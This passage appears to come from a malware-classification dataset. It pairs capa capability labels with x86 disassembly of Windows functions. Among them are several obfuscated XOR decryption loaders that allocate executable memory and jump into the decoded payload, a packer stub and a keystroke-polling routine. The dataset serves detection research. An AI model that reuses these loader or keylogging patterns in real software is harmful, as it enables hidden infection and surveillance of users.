joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410fcd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x410fdc
pop dword [ebp - 0x14]
mov eax, 0x410fdc
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x6b9258df
add dword [ebp - 0x24], 0xe2bfec6c
mov dword [ebp - 0x20], 0x9f2021f1
sub dword [ebp - 0x20], 0x6cecd5ac
mov dword [ebp - 0x1c], 0x533182fe
add dword [ebp - 0x1c], 0xf91ac130
mov dword [ebp - 0x18], 0xea44d2e4
sub dword [ebp - 0x18], 0xea44d2e4
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x24e7e8ff
sub dword [ebp - 0x24], 0xb0757fa9
mov dword [ebp - 0x20], 0xc3c6c480
add dword [ebp - 0x20], 0x7da59cf5
mov dword [ebp - 0x1c], 0xa586f725
add dword [ebp - 0x1c], 0xbde87547
mov dword [ebp - 0x18], 0x9b53a953
sub dword [ebp - 0x18], 0x9b53a953
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x71d0e482
add eax, 0x8e72bbb6
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3eae3
push 0
call eax
mov ecx, 0x49ee
xor edx, edx
add edx, eax
mov edi, 0x2f59f0c2
add edi, 0xd0eb893e
add edi, dword [ebp - 0x14]
mov esi, 0xce53c1f7
add esi, 0xd4e1368f
add dword [ebp - 4], esi
mov ebx, dword [edi]
add dword [ebp - 0x10], 0x53a7ca61
xor ebx, esi
add dword [ebp - 8], 0xdc985610
mov dword [edx], ebx
xor dword [ebp - 0xc], 0xd00db033
add edx, 0xdb14e47a
sub edx, 0xdb14e476
add edi, 0xde08cfa2
sub edi, 0xde08cf9e
loop 0x4110f0
add eax, 0x6bea79c4
sub eax, 0x6be95f39
mov ebx, eax
add eax, 0xdf54fb5c
add eax, 0x20ab04a9
mov ecx, 0xf16cf054
sub ecx, 0xf12cf054
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x4128d9
Capabilities:
Get common file path

Disassembly:
push 0x264
mov eax, 0x4375ca
call fcn.00433ea9
mov edi, ecx
xor esi, esi
push 0x20a
lea eax, [ebp - 0x224]
push esi
push eax
mov dword [ebp - 0x258], esi
call dword [sym.imp.MSVCR110.dll_memset]
add esp, 0xc
call fcn.00410fcd
test al, al
je 0x41299a
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x23c]
call fcn.00410fcd
push str.LogSession
lea ecx, [ebp - 0x254]
mov dword [ebp - 4], esi
call fcn.00410fcd
lea ecx, [ebp - 0x254]
mov byte [ebp - 4], 1
call fcn.0040c42d
push 0x43f9ae
lea ecx, [ebp - 0x270]
mov esi, eax
call fcn.00410fcd
push eax
mov byte [ebp - 4], 2
mov edx, dword [esi]
lea eax, [ebp - 0x23c]
push eax
mov ecx, esi
call dword [edx + 0x40]
lea ecx, [ebp - 0x270]
call fcn.004023b1
lea ecx, [ebp - 0x254]
call fcn.004023b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.004023b1
mov ecx, edi
call fcn.0041283a
jmp 0x4129c7
lea eax, [ebp - 0x224]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edx, 0x43fc28
test eax, eax
lea ecx, [ebp - 0x224]
cmovne ecx, edx
push ecx
mov ecx, edi
call fcn.00410fcd
mov eax, edi
call fcn.00433e58
ret
Function at 0x6d5189ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d51e944]
jne 0x6d5189f4
repz ret
jmp fcn.6d519069

Function at 0x6d518cc6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x6d518cd5
pop dword [ebp - 0xc]
mov eax, 0xc42b6a29
sub eax, 0x56d9dd54
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x78cf058d
sub dword [ebp - 0x1c], 0x2a7cc042
mov dword [ebp - 0x18], 0x40b2cfa1
sub dword [ebp - 0x18], 0xe7f835c
mov dword [ebp - 0x14], 0x49a3b0be
sub dword [ebp - 0x14], 0xfd576c90
mov dword [ebp - 0x10], 0x5a7213e6
sub dword [ebp - 0x10], 0x5a7213e6
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xe727ed14
add eax, 0x8629b310
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x710bd04d
add dword [ebp - 0x1c], 0x3669909
mov dword [ebp - 0x18], 0x44c52c4b
add dword [ebp - 0x18], 0xfca7352a
mov dword [ebp - 0x14], 0xf83f41e9
sub dword [ebp - 0x14], 0x94cfd57d
mov dword [ebp - 0x10], 0x5e9e955a
sub dword [ebp - 0x10], 0x5e9e955a
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xf1fa8204
add eax, 0x7b571e1c
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x35b07
push 0
call eax
mov ecx, 0xa3407899
sub ecx, 0xa3403575
xor edx, edx
add edx, eax
mov ebx, 0x6d521400
add ebx, dword [ebp - 0xc]
mov edi, 0x72c1820a
sub dword [ebp - 8], 0xd226fa13
mov esi, dword [ebx]
add dword [ebp - 4], 0x3c94a0ed
xor esi, edi
xor dword [ebp - 4], ebx
mov dword [edx], esi
sub dword [ebp - 8], 0x87323654
add edx, 0xf8dcb1ee
add edx, 0x7234e16
add ebx, 4
loop 0x6d518ded
add eax, 0xff63
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe868be16
sub ecx, 0x7b17be16
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6e6f49dd
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6c302bcb
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x3080194f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x308249ec]
jne 0x30801959
repz ret
jmp fcn.3081a014

Function at 0x30807ed2
Capabilities:
Get file attributes

Disassembly:
push 0x58
mov eax, 0x3081ac18
call fcn.3081997e
mov eax, dword [ebp + 8]
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], cx
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.30807c9a
pop ecx
pop ecx
test eax, eax
je 0x30807f69
push str.__
lea ecx, [ebp - 0x64]
call fcn.3080b027
lea ecx, [ebp - 0x2c]
push ecx
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 1
call fcn.3080b027
add esp, 0xc
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.3080b027
push esi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.3080b027
push esi
push 1
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], bl
call fcn.3080b027
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x30807f60
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
or dword [ebp - 4], 0xffffffff
push esi
push 1
lea ecx, [ebp - 0x2c]
and bl, 1
call fcn.3080b027
mov al, bl
call fcn.308199b4
ret
Function at 0x30807f83
Capabilities:
Create directory

Disassembly:
push 0x88
mov eax, 0x3081ac6d
call fcn.3081997e
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp + 0x10]
push str.__
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x8c], eax
call fcn.3080b027
push esi
push eax
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.3080b027
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 2
call fcn.3080b027
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x30807fe2
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
push 0x5c
pop esi
cmp word [eax + ecx*2 - 2], si
je 0x30807ffa
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.3080b027
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x94], esi
or edi, 0xffffffff
mov ecx, dword [ebp - 0x90]
push 1
push dword [ebp - 0x88]
lea eax, [ebp - 0x94]
push eax
call fcn.3080b027
mov ecx, dword [ebp - 0x90]
mov esi, eax
cmp esi, edi
je 0x30808078
sub eax, dword [ebp - 0x88]
push eax
push dword [ebp - 0x88]
lea eax, [ebp - 0x48]
push eax
call fcn.3080b027
push edi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.3080b027
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.3080b027
push 0x5c
push 1
lea ecx, [ebp - 0x2c]
call fcn.3080b027
inc esi
mov dword [ebp - 0x88], esi
jmp 0x308080ac
push edi
push dword [ebp - 0x88]
lea eax, [ebp - 0x48]
push eax
call fcn.3080b027
push edi
push ebx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 4
call fcn.3080b027
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.3080b027
mov dword [ebp - 0x88], edi
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x308080b8
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
setne byte [ebp - 0x81]
cmp byte [ebp - 0x81], bl
je 0x308080f5
push edi
push 4
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.3080b027
mov ecx, dword [ebp - 0x8c]
push eax
mov byte [ebp - 4], 5
call fcn.3080b027
lea ecx, [ebp - 0x48]
jmp 0x30808153
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0x14], 8
mov dword [eax + 0x10], ebx
jb 0x30808106
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
cmp dword [ebp - 0x88], edi
jne 0x30808009
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
sete byte [ebp - 0x81]
cmp byte [ebp - 0x81], bl
je 0x3080816b
push edi
push 4
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x2c]
call fcn.3080b027
mov ecx, dword [ebp - 0x8c]
push eax
mov byte [ebp - 4], 6
call fcn.3080b027
lea ecx, [ebp - 0x64]
push ebx
push 1
mov byte [ebp - 4], 2
call fcn.3080b027
cmp dword [ebp - 0x88], edi
jne 0x30808009
push ebx
push 1
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.3080b027
mov al, byte [ebp - 0x81]
call fcn.308199b4
ret
Function at 0x30808ae4
Capabilities:
Enumerate process modules

Disassembly:
push 0x20
mov eax, 0x3081ae31
call fcn.30801ee1
push dword [ebp + 8]
xor edi, edi
push edi
push 0x410
mov dword [ebp - 0x14], edi
call dword [sym.imp.kernel32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
je 0x30808b87
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], edi
call sub.psapi.dll_EnumProcessModules
test eax, eax
je 0x30808b87
push 0x20
pop esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
push edi
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.3080b027
push esi
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
push ebx
call sub.psapi.dll_GetModuleBaseNameA
cmp eax, esi
jb 0x30808b62
push edi
add esi, esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.3080b027
cmp esi, 0x208
jbe 0x30808b3d
push dword [ebp - 0x2c]
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR100.dll__mbsstr]
pop ecx
pop ecx
test eax, eax
je 0x30808b7b
mov dword [ebp - 0x14], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.30806a0c
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x30808c2f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x138
mov eax, 0x3081ae8b
call fcn.3081997e
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x138], edi
cmp ebx, edi
je 0x30808d1c
lea eax, [ebp - 0x134]
push eax
call fcn.30808b97
pop ecx
cmp dword [ebp - 0x120], 0x10
mov eax, dword [ebp - 0x134]
mov dword [ebp - 4], edi
jae 0x30808c76
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x13c]
push ecx
push 1
push edi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
jne 0x30808d0a
mov esi, 0x105
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov dword [ebp - 0x140], 0x104
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x144]
push eax
push edi
push ebx
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, edi
jne 0x30808cfe
mov eax, dword [0x30825cd8]
push esi
call dword [eax + 4]
pop ecx
mov dword [ebp - 0x138], eax
cmp eax, edi
je 0x30808cfe
push esi
lea ecx, [ebp - 0x118]
push ecx
push esi
push eax
call dword [sym.imp.MSVCR100.dll_strncpy_s]
add esp, 0x10
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x134]
call fcn.3080b027
mov eax, dword [ebp - 0x138]
call fcn.308199b4
ret
Function at 0x30809222
Capabilities:
Enumerate process modules

Disassembly:
push 0x24
mov eax, 0x3081af3b
call fcn.30801ee1
xor ebx, ebx
push 8
pop esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
push ebx
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.3080b027
push 0x20
pop edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 0xd], 1
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x30]
call sub.psapi.dll_EnumProcesses
test eax, eax
je 0x3080928c
mov eax, dword [ebp - 0x18]
cmp eax, edi
jb 0x30809285
push ebx
add esi, esi
push esi
lea ecx, [ebp - 0x30]
call fcn.3080b027
mov edi, esi
shl edi, 2
jmp 0x30809294
shr eax, 2
mov esi, eax
jmp 0x30809291
xor esi, esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
jne 0x3080925a
cmp dword [ebp - 0x14], ebx
je 0x308092c8
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.3080b027
cmp esi, ebx
jbe 0x308092c8
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, edi
call fcn.3080b027
add ebx, 4
dec esi
jne 0x308092ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.30806a0c
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x3080b027
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x3080b036
pop dword [ebp - 0x3c]
mov eax, 0x82d5410c
add eax, 0xadab6f2a
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x6976b80b
add dword [ebp - 0x4c], 0xe4db8d40
mov dword [ebp - 0x48], 0x7f34beb
sub dword [ebp - 0x48], 0xd5bfffa6
mov dword [ebp - 0x44], 0xcb11b3d9
add dword [ebp - 0x44], 0x813a9055
mov dword [ebp - 0x40], 0x9a0edfbd
add dword [ebp - 0x40], 0x65f12043
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x299bf928
add eax, 0x6e5d72c
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xec8a764d
sub dword [ebp - 0x4c], 0x78180cf7
mov dword [ebp - 0x48], 0x82ea31e
sub dword [ebp - 0x48], 0xc6c241a9
mov dword [ebp - 0x44], 0xd3c584e5
sub dword [ebp - 0x44], 0x70561879
mov dword [ebp - 0x40], 0xc859d602
sub dword [ebp - 0x40], 0xc859d602
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xe7eb2c60
sub eax, 0xb7695ba4
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x41c3c
push 0
call eax
mov ecx, 0x5ae9
mov edx, eax
mov ebx, 0x7e76d440
sub ebx, 0x4df3e240
add ebx, dword [ebp - 0x3c]
mov edi, 0x422e34f6
add edi, 0x4cb9773e
mov esi, dword [ebx]
mov dword [ebp - 0x1c], 0x63ab36e4
xor esi, edi
add dword [ebp - 0x1c], ecx
mov dword [edx], esi
xor dword [ebp - 0x18], 0xc3aa54b8
add edx, 0x2b3cd272
add edx, 0xd4c32d92
add ebx, 0xf3784bce
sub ebx, 0xf3784bca
loop 0x3080b152
add eax, 0x15e77
mov ebx, eax
add eax, 0x6a4737f7
add eax, 0x95b8c80e
mov ecx, 0x77c0f520
add ecx, 0xb8bf0ae0
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10007c2e
pop dword [ebp - 0x10]
mov eax, 0x10007c2e
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x93cfc460
add dword [ebp - 0x20], 0xba8280eb
mov dword [ebp - 0x1c], 0x43135f75
sub dword [ebp - 0x1c], 0x10e01330
mov dword [ebp - 0x18], 0xab4843c2
add dword [ebp - 0x18], 0xa104006c
mov dword [ebp - 0x14], 0x81c8c9d1
add dword [ebp - 0x14], 0x7e37362f
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x3ff3108b
add dword [ebp - 0x20], 0x347f58cb
mov dword [ebp - 0x1c], 0x5d54ed7e
add dword [ebp - 0x1c], 0xe41773f7
mov dword [ebp - 0x18], 0x18faf10a
sub dword [ebp - 0x18], 0xb58b849e
mov dword [ebp - 0x14], 0xda737782
sub dword [ebp - 0x14], 0xda737782
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xe555ddf1
add eax, 0x2aaaa25f
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x35e22
push 0
call eax
mov ecx, 0x3cc00496
add ecx, 0xc3404047
mov esi, eax
mov edx, 0x2b9b02bd
add edx, 0xe465f743
add edx, dword [ebp - 0x10]
mov edi, 0xbabe6b2e
sub dword [ebp - 4], 0x55cf725e
mov ebx, dword [edx]
sub dword [ebp - 8], edi
add ebx, edi
mov dword [ebp - 0xc], 0xc64b4fbb
mov dword [esi], ebx
xor dword [ebp - 4], 0xd0f4ab0a
add esi, 0xaccad436
sub esi, 0xaccad432
add edx, 0x54d3e6a1
add edx, 0xab2c1963
loop 0x10007d40
add eax, 0x10647
xor ebx, ebx
add ebx, eax
add eax, 0xb301ec83
sub eax, 0xb301ec7e
mov ecx, 0x9cf430f3
add ecx, 0x730bcf0d
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401c66
pop dword [ebp - 0xc]
mov eax, 0x2e368d8a
add eax, 0xd2098edc
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xd5bb83c1
add dword [ebp - 0x1c], 0x7896c18a
mov dword [ebp - 0x18], 0x4c2a9223
sub dword [ebp - 0x18], 0x19f745de
mov dword [ebp - 0x14], 0x6e23dd90
add dword [ebp - 0x14], 0xde28669e
mov dword [ebp - 0x10], 0x2dfea801
sub dword [ebp - 0x10], 0x2dfea801
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xac2c66fb
add eax, 0x5413c959
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xedaeebe7
add dword [ebp - 0x1c], 0x86c37d6f
mov dword [ebp - 0x18], 0xd7ba7222
sub dword [ebp - 0x18], 0x964e10ad
mov dword [ebp - 0x14], 0xb34c079e
sub dword [ebp - 0x14], 0x4fdc9b32
mov dword [ebp - 0x10], 0x1107d009
sub dword [ebp - 0x10], 0x1107d009
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xff272964
sub eax, 0xfee6f938
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36f32
push 0
call eax
mov ecx, 0x33af116d
add ecx, 0xcc513873
mov esi, eax
mov edx, 0x93fc4ddf
sub edx, 0x93bbdddf
add edx, dword [ebp - 0xc]
mov edi, 0x58719f82
add edi, 0xa926a2bb
xor dword [ebp - 8], eax
mov ebx, dword [edx]
add dword [ebp - 4], edx
add ebx, edi
sub dword [ebp - 8], edx
mov dword [esi], ebx
add esi, 0x9a2b024f
sub esi, 0x9a2b024b
add edx, 4
loop 0x401d88
add eax, 0x529c2ed2
add eax, 0xad64eb81
mov ebx, eax
add eax, 5
mov ecx, 0x94149e3a
add ecx, 0x6c2b61c6
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401169
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push esi
push 4
call dword [sym.imp.USER32.dll_mouse_event]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
mov ebp, dword [sym.imp.USER32.dll_keybd_event]
cmp esi, 0x14
je 0x40120d
cmp esi, 0x90
je 0x40120d
cmp esi, 0x91
je 0x40120d
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push esi
call edi
test ah, 0x80
jne 0x4011d6
cmp esi, 8
je 0x4011cc
cmp esi, 1
je 0x4011c4
cmp esi, 2
je 0x4011c4
push esi
call ebx
jmp 0x4011c7
push esi
call edi
shr eax, 0xf
jmp 0x4011cf
push esi
call ebx
and eax, 1
test eax, eax
je 0x40120d
cmp esi, 0x21
jl 0x4011e0
cmp esi, 0x2e
jle 0x4011f8
cmp esi, 0x11
je 0x4011f8
cmp esi, 0x5b
je 0x4011f8
cmp esi, 0x5c
je 0x4011f8
cmp esi, 0x5d
je 0x4011f8
xor eax, eax
jmp 0x4011fb
push 1
pop eax
or al, 2
push 0
push eax
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
push esi
call ebp
inc esi
cmp esi, 0x100
jl 0x40118d
and byte [esp + 0x14], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [esp + 0x15]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x100
lea eax, [esp + 0x18]
push esi
push eax
call fcn.004037da
add esp, 0xc
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
inc esi
cmp esi, 0xff
jl 0x40124d
push 0x91
call ebx
test al, 1
je 0x40132e
mov esi, dword [sym.imp.USER32.dll_VkKeyScanA]
push 0xffffffffffffff91
call esi
mov bl, al
push 0xffffffffffffff91
mov byte [esp + 0x14], bl
call esi
xor ecx, ecx
mov cl, ah
test cl, cl
je 0x40129e
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
xor eax, eax
push eax
push eax
push eax
push 0x10
call edi
push eax
push 0x10
call ebp
jmp 0x4012a4
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp bl, 0x21
jb 0x4012ae
cmp bl, 0x2e
jbe 0x4012c6
cmp bl, 0x11
je 0x4012c6
cmp bl, 0x5b
je 0x4012c6
cmp bl, 0x5c
je 0x4012c6
cmp bl, 0x5d
je 0x4012c6
xor eax, eax
jmp 0x4012c9
push 1
pop eax
movzx esi, bl
push 0
push eax
push 0
push esi
call edi
push eax
push dword [esp + 0x1c]
call ebp
cmp bl, 0x21
jb 0x4012e5
cmp bl, 0x2e
jbe 0x4012fd
cmp bl, 0x11
je 0x4012fd
cmp bl, 0x5b
je 0x4012fd
cmp bl, 0x5c
je 0x4012fd
cmp bl, 0x5d
je 0x4012fd
xor eax, eax
jmp 0x401300
push 1
pop eax
xor ebx, ebx
or al, 2
push ebx
push eax
push ebx
push esi
call edi
push eax
push dword [esp + 0x1c]
call ebp
push 0xffffffffffffff91
call dword [sym.imp.USER32.dll_VkKeyScanA]
xor ecx, ecx
mov cl, ah
test cl, cl
je 0x40132e
push ebx
push 2
push ebx
push 0x10
call edi
push eax
push 0x10
call ebp
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x40175a
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
mov esi, dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
stosb byte es:[edi], al
je 0x401789
cmp byte [esi], bl
jne 0x4017a3
lea eax, [ebp - 0x104]
push 0x103
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, ebx
je 0x4017ab
cmp byte [esi], bl
jne 0x4017b1
lea esi, [ebp - 0x104]
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402dc2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, dword [ebp + 0x10]
mov dword [ebp + 8], eax
cmp edi, ebx
je 0x402e2c
cmp eax, ebx
je 0x402e2c
cmp dword [ebp + 0xc], ebx
jge 0x402e05
push 2
pop eax
jmp 0x402e07
xor eax, eax
push eax
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0x14]
cmp eax, dword [ebp + 8]
jb 0x402e1e
mov eax, dword [ebp + 8]
lea ecx, [ebp + 8]
push ebx
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
